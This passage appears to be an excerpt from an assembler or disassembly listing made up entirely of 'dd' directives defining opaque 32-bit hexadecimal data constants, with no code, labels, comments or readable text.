		dd 6D95D25Dh, 835D499Eh, 60921EF3h, 8CA1F75Dh, 0CD08E6E1h
		dd 0F2086E38h, 9AF08307h, 0D207C237h, 0D2147DB8h, 770877Dh
		dd 87209087h, 0FEDA8D80h, 0A7EA7E74h, 820837Eh,	0C28DE206h
		dd 39C69C39h, 7EE8DC23h, 0FA3AF3ABh, 34EC9CD5h,	8EB5FF22h
		dd 13BA070h, 0F0650606h, 8033BD8Eh, 0F49DC4FCh,	426060F8h
		dd 80D26471h, 0FC8FA8F9h, 0F61A0398h, 61D61902h, 1127B816h
		dd 581C27C5h, 6283E728h, 2C821909h, 29972D7h, 8452291h
		dd 0FD917912h, 0D8329189h, 83482A06h, 1C91B82Fh, 0F830A049h
		dd 83607182h, 39923057h, 0A0F92A8h, 6864CA1h, 3354E841h
		dd 5A17A169h, 7A93893h,	506567DBh, 0D5601148h, 42F12393h
		dd 3108F131h, 85659411h, 94643866h, 6D949133h, 0D77076F7h
		dd 95195113h, 541DA8C0h
		dd 0B8733069h, 0BB0B30Bh, 5B959454h, 0F166A3E9h, 78458487h
		dd 6068C68Ch, 7831AA1h,	98B7B84Ah, 934634A0h, 40CC8836h
		dd 0CE5A917h, 0A21990CEh, 0A18F9705h, 5A05A188h, 0A00D2977h
		dd 9A5FA5C7h, 8A197B6Ah, 7F8A26B2h, 86FE3589h, 96B69809h
		dd 0A687B035h, 5D1AF358h, 498CA4B1h, 0A6D3696Ch, 0B549635Ah
		dd 75C78BC0h, 9981DD99h, 9F8C35CCh, 0E9A299D0h,	4BE99F4Bh
		dd 996DB383h, 338B6DF0h, 2034C609h, 0CF8CE9ACh,	78D23938h
		dd 3937DB08h, 895E29BFh, 907F0890h, 0A98233A9h,	9F08A07Fh
		dd 2A9F083Ah, 8AAA3AAh,	0A0AA5205h, 22354CCAh, 6FB3A59Ch
		dd 0FF9CF6FBh, 4ED2276h, 7F89D122h, 0F14F03B5h,	0C4F10654h
		dd 6906906h, 690659D8h,	5D24F0h, 5E9DA3Ch, 0FB8F2050h
		dd 53C925B4h, 460468Fh,	204604Ch, 1AD1ACC5h, 9E4040ADh
		dd 0FB039263h, 0E61A8FD8h, 61F9EB8Fh, 4512ADDh,	0A2889069h
		dd 9F490801h, 0B00951Ah, 13F051D9h, 9FB73052h, 359FE82Ah
		dd 1AF106E8h, 0AF4AF3A0h, 0F283106Dh, 0EAF9AF1Ah, 6E06D06h
		dd 0F8AFC05Ah, 1A0CA01Ah, 73E21474h, 41B06A11h,	90760668h
		dd 0B0CA17B0h, 35076934h, 1910FE59h, 42E2A19Ah,	75893A42h
		dd 19430A20h, 0C566430Bh, 130439B1h, 2CA2B767h,	0F86A867Ah
		dd 86C94B66h, 76144302h, 8A361DB5h, 0A3A1D614h,	3F87649Bh
		dd 0E584165Ah, 0A400C577h, 8C6C4A41h, 1A709616h, 31CB3DA7h
		dd 755880CBh, 178E9691h, 0A555A9A5h, 72186343h,	0B4A5939h
		dd 79D79AA6h, 0D80D818Fh, 0DB521890h, 0A62A5CB4h, 0AA48B89Eh
		dd 0F9815B07h, 35C5B01Ch, 0B1A6EA75h, 0B98B0C61h, 9925BF5Ah
		dd 0BB993992h, 0D8BDA781h, 7C67C56Ch, 0E399E99Ch, 99E9A21h
		dd 0A85A844Ch, 89387386h, 0CA8B389Ah, 6E29AB8Ch, 0AF38F206h
		dd 0C3929B09h, 7DD20B07h, 0BA9BA9B3h, 922820B9h, 393B8C22h
		dd 897EDA99h, 59C79C30h, 0B949C720h, 0C79C8390h, 0C9CD8E09h
		dd 6FB3A66Fh, 0D823C223h, 58E723E4h, 24770506h,	0F10694F0h
		dd 106C70B4h, 4FC70D8Fh, 0C525560Bh, 0C9DF60E3h, 9E47163Ch
		dd 69AD5613h, 1B8FB2FEh, 79EB9E87h, 3E0ADE27h, 0E2724022h
		dd 8626AE13h, 9F690A90h, 30AEB90Eh, 0B0840977h,	0BD0AFA9Fh
		dd 0CEAFBAFFh, 1BCEBD4Bh, 0BD7BD4A0h, 84A92BD4h, 0EBDDA920h
		dd 6E087BDh, 80071BDDh,	6080BE30h, 0BE6BE7BEh, 0E4BE808Dh
		dd 0EBED08DBh, 0BF0BEFBEh, 35B12BF1h, 1B1208D9h, 0BF8560BFh
		dd 3F860560h, 0A86443F4h, 0B24B2594h, 2C00C01h,	0F0AA0A5Ch
		dd 8715CA76h, 568BD44Ah, 7A3A3699h, 0B30B914h, 1615677Eh
		dd 6A416C03h, 0C5C17C1h, 4387F174h, 7584C1CBh, 0A640C50Ch
		dd 8F1A3C21h, 0E31F96B5h, 96E1A158h, 29A540D0h,	0C330B493h
		dd 0DB974B4h, 330DB186h, 417DC34Ch, 0C38C37C3h,	396A6C38h
		dd 0C0D8C37Ch, 0C40C3FC3h, 55C41C41h, 10D1192Bh, 0C488A50Dh
		dd 0C61AE352h, 0E6B50C60h, 0C494A4A6h, 0D10C734Eh, 6C4619E0h
		dd 34DC57C5h, 0A5C4C0C8h, 0F355B631h, 3595BD48h, 0FE8B61B2h
		dd 0B6C63364h, 70B65C88h, 0AB0AF99h, 6B0AA0ABh,	0C6FC6ECh
		dd 0AEC6BC7h, 6EC730ABh, 709C0AECh, 0B741F4C7h,	859A35D3h
		dd 6D56D4Ah, 1EAC81C8h,	85C84094h, 4C87C86Ch, 6E28D2C8h
		dd 0CAA8E094h, 0FC8F1F84h, 921F6C8h, 0F16D96D8h, 66D5C941h
		dd 8C61E98Ch, 0A909DC9Bh, 0D7D37D29h, 1FC08C1Fh, 0ADA985DFh
		dd 0AB832099h, 7B22C8Dh, 0ED23DAB1h, 0DAB723C4h, 8EE0745Fh
		dd 0C424324Eh, 8251605Ah, 4FA70DCBh, 0BDAD24FEh, 903CCBDCh
		dd 0CC2CC161h, 3002603Ch, 603027C0h, 31030CCh, 31031CC6h
		dd 0CCF01A0h, 1FCD0CDh,	0CFCD3CCFh, 0AAE300FCh,	3EEAE890h
		dd 0CD29AAEAh, 0CDF0BC0h, 0CE2CE1CEh, 0E1CE4CE3h, 0C0BC0BFCh
		dd 0CE9CE77Ah, 0CF9878A7h, 0C6C2C4C1h, 0CF10BDC4h, 0F5CF4CEFh
		dd 6CF7CF6Ch, 0C90C90Ch, 0FDCFAC4Ch, 0F1A1CFACh, 0C57C55CFh
		dd 5D04D03h, 0AC57D06Dh, 0DAC560Dh, 0D0FECD0Bh,	0B0DBD0Ch
		dd 20DAC34Dh, 0DEC34C4h, 16C330DEh, 0AD150DBDh,	0D1CD1BD1h
		dd 0E30DED1Dh, 3D21D200h, 0D240E50Eh, 27D26D25h, 5D29D28Dh
		dd 0D280DF0Eh, 2FD2ED22h, 30E5D20Dh, 0D2CD2AD2h, 29D36D2Ah
		dd 9D380E9Dh, 0D3CD3B0Eh, 3FD3ED3Dh, 2D41D40Dh,	0E8D41D4h
		dd 3BD45D45h, 8D480E8Dh, 0E9D49D4h, 46D3DD47h, 3D43D4CDh
		dd 0D50D49D4h, 4ED3CD51h, 8D54D57Dh, 0E8D240Eh,	5ED5E0E6h
		dd 2D610E2Dh, 0D64D63D6h, 67D66D65h, 0AD69D5FDh, 0D6C0E4D6h
		dd 6C0E9D6Ch, 0E0E40E6Dh, 0D70D6DD5h, 0E6D6AD71h, 60E20E30h
		dd 0D7CD670Eh, 7FD1ED61h, 0D13D1DDh, 0C3359AC4h, 3BC3A0D6h
		dd 318CD84Ch, 18B473C3h, 74C440DBh, 40D2C469h, 481979D0h
		dd 44D96D8Fh, 0E7A33463h, 176C2596h, 1F5AB0CAh,	1D9E0C73h
		dd 0C71AADAh, 0B90CA7B9h, 615E95F7h, 0DACDAB0Bh, 0ACDAEDADh
		dd 1DAC0B4Dh, 1DDC6FC7h, 9F0FEABh, 0B9B73C6Bh, 809D99EDh
		dd 8899E1Fh, 8E088DBFh,	538DDC00h, 5BAF5AFh, 5BDC8DC7h
		dd 0ADCA0430h, 0DCE63ADCh, 0D1CCD043h, 1DD1DD2Dh, 0D901ACDh
		dd 0D9DD8CE5h, 0CCEBDD8Dh, 5C2B5CDDh, 0F2CF6CF3h, 7DE3CF8Ch
		dd 0DE6CFECFh, 0C919ECFDh, 7C53C460h, 0DEEDEDD0h, 90D1DEFh
		dd 2D10D0DDh, 0D82D12D1h, 16D19D14h, 0EDFBD80Dh, 0DFE0DF0Dh
		dd 0E3D35DFFh, 5D36DFE0h, 0E00D28D3h, 30D23E05h, 0BD21E0ADh
		dd 0E07D25D2h, 0D20D26h, 5E13D37Eh, 0E16D52D2h,	59E18E17h
		dd 7E1AD46Dh, 0D56D4CD4h, 4FD58D4Bh, 5D43E20Dh,	0E1BD4D0Eh
		dd 5AD5B0E5h, 5E26D4DDh, 0D69D27D4h, 31E30D7Dh,	50E2E32Eh
		dd 0E3D5E0Eh, 71D6FD74h, 3D74D70Dh, 0D61E2F0Eh,	0DED63D60h
		dd 0CD7DE410h, 0DF7D1ADFh, 89D82E47h, 74790DB1h, 18018AD9h
		dd 80343D99h, 10CFC561h, 0D03E540Dh, 0A5C540C8h, 3A63E551h
		dd 347A63C2h, 0E50E50FEh, 81345D95h, 0D8866964h, 0D9D0CC96h
		dd 0A1DA25A7h, 0D321321Dh, 0DA50C298h, 8B1A1E70h, 6DA99629h
		dd 0BA0B615h, 7AE7ADAFh, 0EDAB0AFEh, 0AFDAB0Ah,	701DCC75h
		dd 0B72DB5Ch, 0B734B7A8h, 0C6C906D5h, 0CDC2DBF4h, 0A01DC5A8h
		dd 5ADC7DC9h, 0FDCBDC70h, 0DD3DCFDCh, 0D5CCEE99h, 0ACDE0D9Dh
		dd 196CE0DDh, 9EE9E0BCh, 679EEA2Eh, 0EA60C819h,	0A8CDF1AEh
		dd 0D7AB1B1Eh, 0C51EAF1Ah, 4EEB2C5Ah, 0B1A60C63h, 0DE4DE4C5h
		dd 0B2CFCCFBh, 1A10C96h, 0DEFEBFDFh, 0F3DF1D0Bh, 8D0FD0DDh
		dd 0DF9D19E4h, 0E3D1EE45h, 5D2FD1A0h, 0E14D31D2h, 31D2DED1h
		dd 2D22E0BDh, 0ED7D2DEDh, 0DAD3BD24h, 0EEDDE19Eh, 0D3EE22EDh
		dd 53E1FD55h, 6D40D50Dh, 0D3FE1BD5h, 4AEE5E1Dh,	0BD55D51Dh
		dd 0E28D39E2h, 33E3ED5Dh, 0FD62EF4Eh, 0D5EE3FD5h, 74D73D5Bh
		dd 2E3BD77Dh, 0D6AE3BD7h, 0E2D7BE3Dh, 0BEF4D790h, 0FEA0E2D1h
		dd 0D19D1BECh, 86D13C3Eh, 0F0EE4BDh, 0D87F0EF1h, 12C3933Ah
		dd 0DA5B473Fh, 0D10CDE4h, 92F1B18Fh, 2D03F1BDh,	0B4DE4DE6h
		dd 6B17FB57h, 0DDA05A89h, 0A64E6DE6h, 8EDA7A71h, 0BE78E769h
		dd 0DB1DADE7h, 0B3DAEDB1h, 0BC6DC6EDh, 0C6E0A30Ah, 9DDBBDBAh
		dd 0E09399E0h, 0DC0DC3DBh, 72DC4DC1h, 2F46AF50h, 0E9405BE9h
		dd 3AE97E95h, 5DD2E9A6h, 0DD7DD6DDh, 55CDECDFh,	8F57EA6Fh
		dd 0F5AF59F5h, 5DEB1EA7h, 5C49F5EFh, 0EB8C5AEBh, 0C0DECDEBh
		dd 8EC4DEDEh, 0D0EF69F6h, 9D14EC7h, 0DECCDFBFh,	0E10E0AECh
		dd 40D28E15h, 0DD39E25Dh, 0F7AE25D3h, 37EDAD3Ah, 7EDBF78Dh
		dd 0D26D3CEDh, 0EAD42EDFh
		dd 9F87F860h, 0F86F870Eh, 8AF88D3Bh, 7F8FF8EFh,	0E8D4EF8h
		dd 46EEE0EAh, 1F96F8EDh, 0E1EF93F9h, 0E3F8FF93h, 2E2AE18Eh
		dd 0EEBEE8F9h, 3D77D46h, 6D66EF5Fh, 0EF9FA5FAh,	0E9D5ED4Eh
		dd 0DD3BD5F0h, 0DDFE3FFAh, 0D69D76D6h, 20D5FD72h, 6D6AFAADh
		dd 0E42D2FEFh, 1EF6EFBDh, 0FE07C34Dh, 0DF33ADFh, 11DFEFC4h
		dd 0BC37D84Fh, 0D2C3FC3h, 8FD8BD8Bh, 118AF1DDh,	0FD4F22FDh
		dd 7D47FA5Fh, 396E19A4h, 0F255A818h, 9EF2AD9Dh,	0BDA3E6BDh
		dd 0DAAE76A4h, 0ABFE6F31h, 0FF360B60h, 4BAF3CC6h, 0EFF43DB9h
		dd 2088202Fh, 6DF4607h,	0F5FF3FF3h, 0BDC8072Fh,	0F4DF4CF4h
		dd 31033F4Fh, 62331000h, 3050D0C4h, 0CD66C1DBh,	984C2610h
		dd 86C2A18Dh, 6C3A0F0Ah, 45E1ED86h, 221F198Ch, 5AB1C8E3h
		dd 451F6435h, 0B1D8FC86h, 1D9347A4h, 93C8A3Dh, 96345AB2h
		dd 8CBD8CD5h, 0CD266D16h, 0EE75399Ah, 5B4DA9CCh, 853E9FCFh
		dd 743A250Eh, 0DBA451DBh, 7A6525B4h, 0A853DBD4h, 9D4EA551h
		dd 379C6E3Ah, 6EB559ABh, 0DCAE4AB5h, 0D2E972D7h, 0D62B2391h
		dd 69B459ECh, 1B65AED5h, 0B65B9D36h, 95CEE571h,	5DEECEABh
		dd 0F579FEBCh, 0D7DBE5EEh, 0E8BC3A2Eh, 2C260F04h, 0C1E01D78h
		dd 562B137Fh, 58AF3827h, 0A2C59075h, 3279474Bh,	0D193C165h
		dd 0CE6CE616h, 0A1CF3A33h, 57139B45h, 0D367B4DAh, 1E8F46E2h
		dd 0DAB099FCh, 79C971CCh, 0AC8E6D9Eh, 73A1B139h, 0DB4DE6AFh
		dd 5C7156B3h, 5A937E9Fh, 0A9B8AA3Ah, 672B88DFh,	0F3F9DCDEh
		dd 4BA4D6E7h, 7A5D36FFh, 91D9EC53h, 0D2A6B4Ah, 0E169771Bh
		dd 1F051FBFh, 0F479FCDEh, 67AFB5E9h, 7A7CBEBFh,	3FCFF1F8h
		dd 0FEDF5FA3h, 99F5667Dh, 4CC67FE5h, 0FCFFFED9h, 63C06653h
		dd 18463994h, 70440A61h, 0D1750641h, 23071845h,	9C27094h
		dd 4225B16Dh, 0D0D4330Bh, 0F43A5596h, 3F0FC3F0h, 12447111h
		dd 44E44449h, 0E4245114h, 70E44244h, 0B71845F1h, 2DC67190h
		dd 88B1B086h, 71B46C22h, 0F0671E20h, 8810631h, 222260D2h
		dd 0C8F2348Bh, 899B083h, 749B261Bh, 0A12849F2h,	9B06ACFEh
		dd 0F2B4AA98h, 8CB32C4Ah, 7899A609h, 0A29A32F2h, 294A24C2h
		dd 0CA5296A4h, 71BCF5A7h, 0DB362A8Ah, 0AE384A84h, 9C8B22B2h
		dd 13ACE871h, 0A1C8B12Ch, 0FB3E4F6Bh, 0BACFF3F4h, 507412FCh
		dd 0EC02EF42h, 551275AEh, 19459D14h, 47513455h,	0D0EBDD15h
		dd 0AC2D08C6h, 731D4A31h, 3ACB530Ch, 5037AD03h,	0D42D7305h
		dd 0EC2B414Fh, 42F4CE2Ch, 74B1B3CBh, 0CAD44DCBh, 5414FD44h
		dd 6DBCE6DBh, 2AB2731Ch, 86E62B47h, 0A8B946F3h,	3975FB88h
		dd 0F6358AE8h, 53DAE6D8h, 0B7273DB6h, 685966C1h, 0BDB695A3h
		dd 0EF91B6F7h, 79A4FB5Ah, 0BAFBDB46h, 6FDBEFDDh, 0C0D01C0Bh
		dd 0F7318F02h, 85D30640h, 0DB0A41F0h, 0CC37775h, 0C3D79441h
		dd 3115EB12h, 945714C5h, 0FB1845A3h, 2D468395h,	4711C0B6h
		dd 22C731Dh, 0FC7C81C8h, 0C00D0671h, 8861F241h,	62728C97h
		dd 8914A58Ah, 0D6332D49h, 0FE8FA6B2h, 4BD2DE38h, 7314C09Fh
		dd 6CD0A5E4h, 0DC6DCD4Ah, 0AC657954h, 0CECAD4E2h, 6B1CE73Ah
		dd 4F55B2Ch, 20C7AD94h,	9E66EC8Bh, 67F42D01h, 475E83A0h
		dd 368B47AFh, 12BDE8DAh, 41E86BB5h, 0B174E553h,	8CEB39A7h
		dd 0EA4D5D6h, 0A473544Dh, 0AD310C4Eh, 0B4149D29h, 0CCBB06D9h
		dd 1B094F2Ch, 0C19AE6ADh, 0B52C071Ah, 1C75CABFh, 7641C4E7h
		dd 0C591BA6Eh, 9F69650Eh, 35EF769Dh, 0DA7BF6F9h, 0CFA7036Bh
		dd 0B5B8FABCh, 0FAFEBF6Fh, 735C301Bh, 5D573DC9h, 0B775D9C8h
		dd 9C377842h, 477B4417h, 1513E444h, 5F8425F3h, 31945D7Fh
		dd 36071960h, 5385607Dh, 871C120Fh, 75987621h, 7D9763D8h
		dd 1C5D976h, 0C5D676C7h, 277778A9h, 0A446ECB1h,	491635DFh
		dd 12852C9Bh, 0C5336499h, 0E665935Ch, 0E5CA8AABh, 7B44E938h
		dd 0B4F8B2FAh, 76C8ACEBh, 9DFB7A0Eh, 1D3EDACDh,	478681EEh
		dd 37CA781Dh, 0F2FEFC9Fh, 7D6769D5h, 7F77DBF6h,	9511F57Dh
		dd 0D5A5697Fh, 0A3FD675Fh, 7DDA37F3h, 9A19D549h, 0AFFD4169h
		dd 1A53FE7Eh, 0A8F804D3h, 6AAD51AEh, 0A9959B58h, 0FA35A81Ch
		dd 4830C61Dh, 14606033h, 0B9AD35B3h, 3AAE6CC6h,	656A6E0Bh
		dd 85BCAF96h, 5B60E66Dh, 42539509h, 1CA73214h, 0AF616375h
		dd 0A732B57Eh, 6A2930C4h, 9E524A7Ah, 0A5BD1474h, 12C34D2Ch
		dd 87CF356h, 0EDE0A615h, 8F39D96Fh, 0C47702B5h,	3E8E1D6Eh
		dd 0B9C662E0h, 444E89Ch, 0B720B99h, 2A839C9Ah, 0D1CBA1C7h
		dd 439C732Bh, 85F225C4h, 22211588h, 11A2FF74h, 3A774E8Dh
		dd 66409D5h, 911D60E8h,	3846F768h, 0A98E51C6h, 531D63A1h
		dd 30D28D83h, 0E8D834C9h, 0F8F0EE86h, 52046EA4h, 6AC8190h
		dd 0C8290721h, 790374A1h, 0C946F14Bh, 4843F652h, 922ACCB6h
		dd 0EA9C9E84h, 95EA3314h, 0CB3666C5h, 17B29ED3h, 5286503Eh
		dd 83DCFE94h, 0F7CAFBC7h, 0CFB6543Eh, 9F64AB1Dh, 0EF7D83Bh
		dd 9643BE54h, 2D6593EBh, 5C4B796Dh, 0ED96B2E6h,	532CE580h
		dd 1FB8ED9h, 17880B3h, 0E7E8D120h, 6D4DAEA8h, 0C2B5956h
		dd 0C123386Fh, 80A61D48h, 0FE1A5CC5h, 9B47808h,	51534D0Eh
		dd 7AAC664Bh, 94B116F6h, 0C283283h, 69CD390Bh, 0F0AE13CEh
		dd 0D63CEA1Bh, 2C058470h, 92324677h, 7421E1CBh,	624F02A0h
		dd 0F079AAF9h, 6B0F536Ch, 0BD684438h, 49E85B07h, 0F5BF12E2h
		dd 0F135739Fh, 90538E89h, 8C1174BAh, 18230576h,	2AE2CC57h
		dd 162F78B6h, 72453181h, 0CB18E310h, 0A233BA58h, 8472754Eh
		dd 975860A3h, 149A934Ch, 0A385291Ch, 52FA5D1Dh,	8FB1D298h
		dd 21C71533h, 4448AA6Dh, 3F9E498Ah, 2B250ACCh, 74B215B9h
		dd 52B69325h, 0A671270Bh, 528DF033h, 0AA654BA9h, 0BE67CC5Dh
		dd 0AA553DF5h, 55655CADh, 5E556AADh, 0AD9583BEh, 3BAAD4FEh
		dd 5D55E972h, 611D92DEh, 0D92EAB25h, 2477A8F7h,	0C56A984Ah
		dd 71DB2D1Fh, 60DA2CDh,	9ABC1B9Ah, 3596ACD9h, 7FED6A66h
		dd 5B2ACCC2h, 0B3CC195Fh, 8AE0A3Eh, 0E6601464h,	620B4C9Ah
		dd 59AF4F66h, 88405C0Bh, 539E1127h, 0E75B6CB2h,	4F76EA57h
		dd 39037A7Eh, 53ECD1C8h, 0D359A38Ch, 0A2B3D674h, 5966217Dh
		dd 0E5624EC8h, 71589F33h, 158B0BE1h, 0E9B27BACh, 28015191h
		dd 9F288E76h, 3EA31E82h, 0E34FEDBAh, 71A06408h,	108A880Dh
		dd 8D716895h, 5A898B6Bh, 58A843CEh, 0BA2D7305h,	14662EC5h
		dd 0D7F51D5Fh, 52160547h, 671A51Ch, 39C740E7h, 0EFDDFBBCh
		dd 0E31D9776h, 903B2F25h, 0A546CD19h, 4D289A57h, 0F814A8E0h
		dd 86A8D0DEh, 4719A434h, 53EBEB4Ch, 0A8350AA0h,	7F6FE543h
		dd 0B43D3665h, 0DB324F5Ch, 0DEFA9F83h, 0B703605Ah, 0BCAA95C3h
		dd 0FC1D836Ah, 58470860h, 0FE8613C2h, 69563C30h, 3858773Eh
		dd 0DF2D52C3h, 61FC3985h, 0C4188710h, 897120F1h, 13627C4Dh
		dd 2BC5153Fh, 58F97166h, 0C65AE2FCh, 7D65C623h,	7C698C87h
		dd 4A271A63h, 31C0EB96h, 55FAAB8Eh, 0C7B582B2h,	2C255D61h
		dd 0FEE06B03h, 799A8FCDh, 9328B259h, 58CD977Ah,	136332A6h
		dd 233394DBh, 595A6F35h, 9B229D6Ch, 0E022E994h,	2E39866Fh
		dd 0AACA593h, 159CD84Fh, 7F9230F2h, 0A7C6813h, 2AE0A02Ah
		dd 0A673B8C3h, 7CEC2A33h, 2F05467h, 0B3B67BCFh,	884CFC21h
		dd 0FA21B3Fh, 0E8341E83h, 3185B462h, 0F31EB47Ch, 1DA37460h
		dd 334868FDh, 768B1EBAh, 7D23A534h, 0FA674C69h,	8798F2D2h
		dd 68CD3C3Ch, 0D45A7B4Eh
		dd 0A97526A3h, 51EA7D4Dh, 0F4D543D3h, 5BAA8790h, 0AC7769EDh
		dd 0A6ABD5BAh, 7D6DAD75h, 0DAAB5C6Bh, 3466B4D1h, 695D7A3Dh
		dd 0D85A4C7Ah, 3E07AEC3h, 616C7D8Ch, 0C9D8BB1Bh, 0B1FE47C6h
		dd 680F61F1h, 0C7DA5B47h, 0F23E36A6h, 5F6B0F91h, 0D6D9DB5Bh
		dd 0FDBDB776h, 5B87706Dh, 7726E3DCh, 8FA1F5B7h,	1F23EF6Bh
		dd 0B9C7D8FBh, 77EEFDD9h, 0FADD83F7h, 0EDBD7780h, 0AB7C6F7Dh
		dd 0CEEBDD5Bh, 0DDFDBF77h, 0BBBF6D6Fh, 782703DCh, 707DA5C1h
		dd 1F3B4384h, 0C37828F6h, 6F70FE1Dh, 13E13C33h,	0EDC578A7h
		dd 0B840F51h, 2717E2FBh, 0CE31C776h, 5C878F71h,	0B92723E4h
		dd 71BE39C8h, 0DA3C2F8Bh, 0CB78B6D7h, 49F07E5Dh, 0C4E4BCB7h
		dd 29CCF66Eh, 0FB48E93Dh, 0D6BFD57Ah, 0FE7DCF74h, 23CF1268h
		dd 717E8C1Eh, 5E51E3D1h, 0BCBD27A4h, 387A65E0h,	0A80E1BBEh
		dd 52EA5D47h, 2C3706E7h, 8479F3FDh, 0CF5AD25Ch,	7D17CDFAh
		dd 9CF7AC75h, 3B269DD3h, 767ECDAAh, 0D463BC79h,	0AB47776Ah
		dd 0B76B5957h, 72EDA3D3h, 0EBABB4F7h, 0EB9DEB9Eh, 0D6BBE79Ah
		dd 0A1E7AD7Bh, 0BDFFBD6Bh, 79AF1ED2h, 4F0BFEB3h, 5A4F9A6Dh
		dd 7B6C8D9h, 0EC6DA1B5h, 0F25B3FC7h, 0B63C9791h, 6AED9DBDh
		dd 9BE21E5Bh, 0AFBB3CE7h, 9F776F4Dh, 379FF41Bh,	0DE03E937h
		dd 7EA3CF6Dh, 37DFA9DFh, 6FCDE1B8h, 0F5FC3BD8h,	0EC77D6E9h
		dd 71FABE03h, 0BAE55C33h, 59C1FDDFh, 2F96F2FEh,	570DF39Ch
		dd 7F81EEB8h, 7B0F93FCh, 7E6736E3h, 7CFF9DF3h, 0E63F47E8h
		dd 0CDB98F20h, 9AFCEFA9h, 8AF0DB0Fh, 21CCF647h,	74B75FDh
		dd 0E69AEC3Eh, 0D1DADB5h, 0FFA3460Fh, 0BA3746D2h, 5E3FDDD2h
		dd 1CE3B2EFh, 0D3FA67F0h, 70FF7EA7h, 0FBFF5D54h, 1FCE3FE7h
		dd 9B697D0Dh, 0B91B933Eh, 0ABB9C3AEh, 83F1B613h, 34EB4FB4h
		dd 0BBC06BB4h, 0F3BC3593h, 0B5C3BFBBh, 0BF409C09h, 53B0B5F3h
		dd 0B6087AB5h, 0C33ED402h, 5B6540FBh, 0BC536736h, 96BC838Dh
		dd 0B3CB363Bh, 372B6336h, 173E1B6Eh, 137DBCDCh,	0B7FB7A3Dh
		dd 7B376B79h, 8B80419Bh, 0DC1A3DFEh, 0BDA37BC1h, 75BD4BD7h
		dd 0FC21417Bh, 3E138436h, 24421B85h, 9423C24Ch,	0C26BE438h
		dd 8C38FB84h, 93E54283h, 3EABEBC2h, 1B68B8Dh, 0C38F42B4h
		dd 3E442BC2h, 8AC2F36Dh, 0FBE03DEBh, 42E42E38h,	8EBECBE6h
		dd 4044343h, 0BF340C3Bh, 4C0C3F1h, 13A1B48Ch, 0B133F63Ah
		dd 0FABF7BF7h, 0F3A82F03h, 0BA8BFC2Eh, 0FE3FCBAAh, 0EC2A86E3h
		dd 87BB8442h, 9942707Bh, 8BE6C41Bh, 350B46C3h, 53406351h
		dd 13B1B4C3h, 40940B3Fh, 4C39D3C1h, 8BC0408Ch, 40EBAFB4h
		dd 6ABECC11h, 7C133913h, 36AB9736h, 15B6FB6Ah, 4382C24Ch
		dd 4563CFB7h, 19456371h, 0B458C58Ch, 0B7CB7741h, 5C45B87Eh
		dd 0C87DB794h, 0C5EC5E45h, 7945DC5Ch, 145B45D3h, 0C5EB7B46h
		dd 6446045Dh, 9C5D4604h, 4663D041h, 0D9C67C1Eh,	8BCEC553h
		dd 45946641h, 6F45746Bh, 0DC6946C3h, 0C23B87C6h, 27423388h
		dd 0FE4436ECh, 64313694h, 46E47339h, 313DE474h,	83E9B89Ch
		dd 0BE7433B9h, 5EBFF346h, 8C4635E3h, 0B12C3AC3h, 0F8BF743Bh
		dd 0EBFB43CBh, 86E3AA43h, 43B69443h, 207C87BCh,	44348348h
		dd 6F482484h, 0ABE1C853h, 0BE842938h, 7AC88BACh, 6BB1B504h
		dd 0C79C3834h, 0BC479B5Dh, 0AC0DB5FBh, 48EBC1C4h, 35365BECh
		dd 9384C324h, 3CBBCCBCh, 0CDC14371h, 0B87CB73Bh, 0C6BC9746h
		dd 77BD0376h, 0AC99BD13h, 0C5AB7841h, 7846237Ah, 0EC9E45F3h
		dd 49FC9F49h, 0A14A0CA0h, 9C5F4A1Ch, 7E87D37h, 6ACA4419h
		dd 54A5373Ch, 0C7446BCAh, 0A6C9746Ch, 6CA645CCh, 0CA7C97CAh
		dd 9A36D4A7h, 746D498Ch, 3D6BD6C1h, 6FCB0BDAh, 2CA84863h
		dd 0CB3CB34Bh, 0DE3E33CDh, 7BDFBE33h, 3AE3E939h, 0B0C89C79h
		dd 0CB1247BBh, 47E3A447h, 0A847F43Dh, 0B48487DBh, 0B75C8487h
		dd 2046807Bh, 646DC204h, 44543342h, 7AB4ABAEh, 38FE44ECh
		dd 7B5B3624h, 0C52433CBh, 0C9383C00h, 0D453B95Ch, 0B87C93BCh
		dd 0CE4CDCABh, 0E376C594h, 45BC5887h, 0A645BB76h, 0E45C3D0Ch
		dd 4D4CA207h, 0D64D5CD5h, 5CD74D6Ch, 0C6B4D2CDh, 58456C56h
		dd 0FC6CC96Ch, 4A246B36h, 0D407E4D4h, 0FCDE87ECh, 4DE4DE4Dh
		dd 0CECAAC5Ch, 0B3D0CE2Ch, 0B8141EC9h, 7E41F420h, 0ACE74C13h
		dd 0BDB4C23Dh, 1C4674B3h, 0BC98C9ACh, 37FCEB4Eh, 19CA349Ch
		dd 44964AD4h, 3D33D137h, 724224B4h, 0EB8CC75Ch,	0C34B6838h
		dd 0B94C4C91h, 63F634D4h, 0CBB3A387h, 0A74BC3A4h, 2CE7BA9Bh
		dd 0C9CC9D46h, 7E37A37Bh, 6486CAEBh, 4C442847h,	0E6D01CC8h
		dd 93E04CABh, 0C16B6BCCh, 81BCD494h, 3496C193h,	4E0C58CEh
		dd 0D04E087Dh, 0A50A509Ch, 0CE0CDF50h, 0E50DCD7h, 0FD0F50EDh
		dd 4AA51050h, 9F4E3508h, 34A04DECh, 0D0BC5BD1h,	0E145CD0Bh
		dd 0FCD3CDF4h, 0CD5514CDh, 0ADD114A3h, 1B4FFEBCh, 5C1F41A5h
		dd 4E6C1EBDh, 5D41C51Bh, 1C9F51FCh, 0D214D7CDh,	0FD4FCC5Fh
		dd 6C1937C4h, 4B0496B7h, 0C34B446Ah, 83E5C31Ch,	0C394F6C8h
		dd 0BBCF94F7h, 33A747E4h, 0CD6B7BD2h, 0E245F4AAh, 14975074h
		dd 4F33E24Fh, 11D32D02h, 43EEB674h, 0C9536EC4h,	0F04573E1h
		dd 0B511D07Ch, 0D0A50B50h, 0CD15539h, 0D0D4E15h, 49ED3D51h
		dd 5B87F07Fh, 53FD3F4h,	540D3ED4h, 5F541D0Fh, 53ED41Ch
		dd 0D4545C54h, 3CCD553Dh, 1373D0CDh, 4A44ABCEh,	5E52ECD2h
		dd 850F50C4h, 53B51451h, 0E0515D15h, 9CA1D15Ch,	46545E51h
		dd 60C9CC63h, 0D4D141A4h, 45C4C152h, 65C5A41Bh,	0B54A41ACh
		dd 546D58CAh, 5655253Dh, 44ADD1BDh, 4A8CB037h, 0F3475421h
		dd 942D427Ch, 0B46D29D2h, 0F952B52Ah, 6BFABF9Bh, 565D44CDh
		dd 66D66D66h, 654445CDh, 0D3CC5ED4h, 0ABD3A54Eh, 0E4F1CDB4h
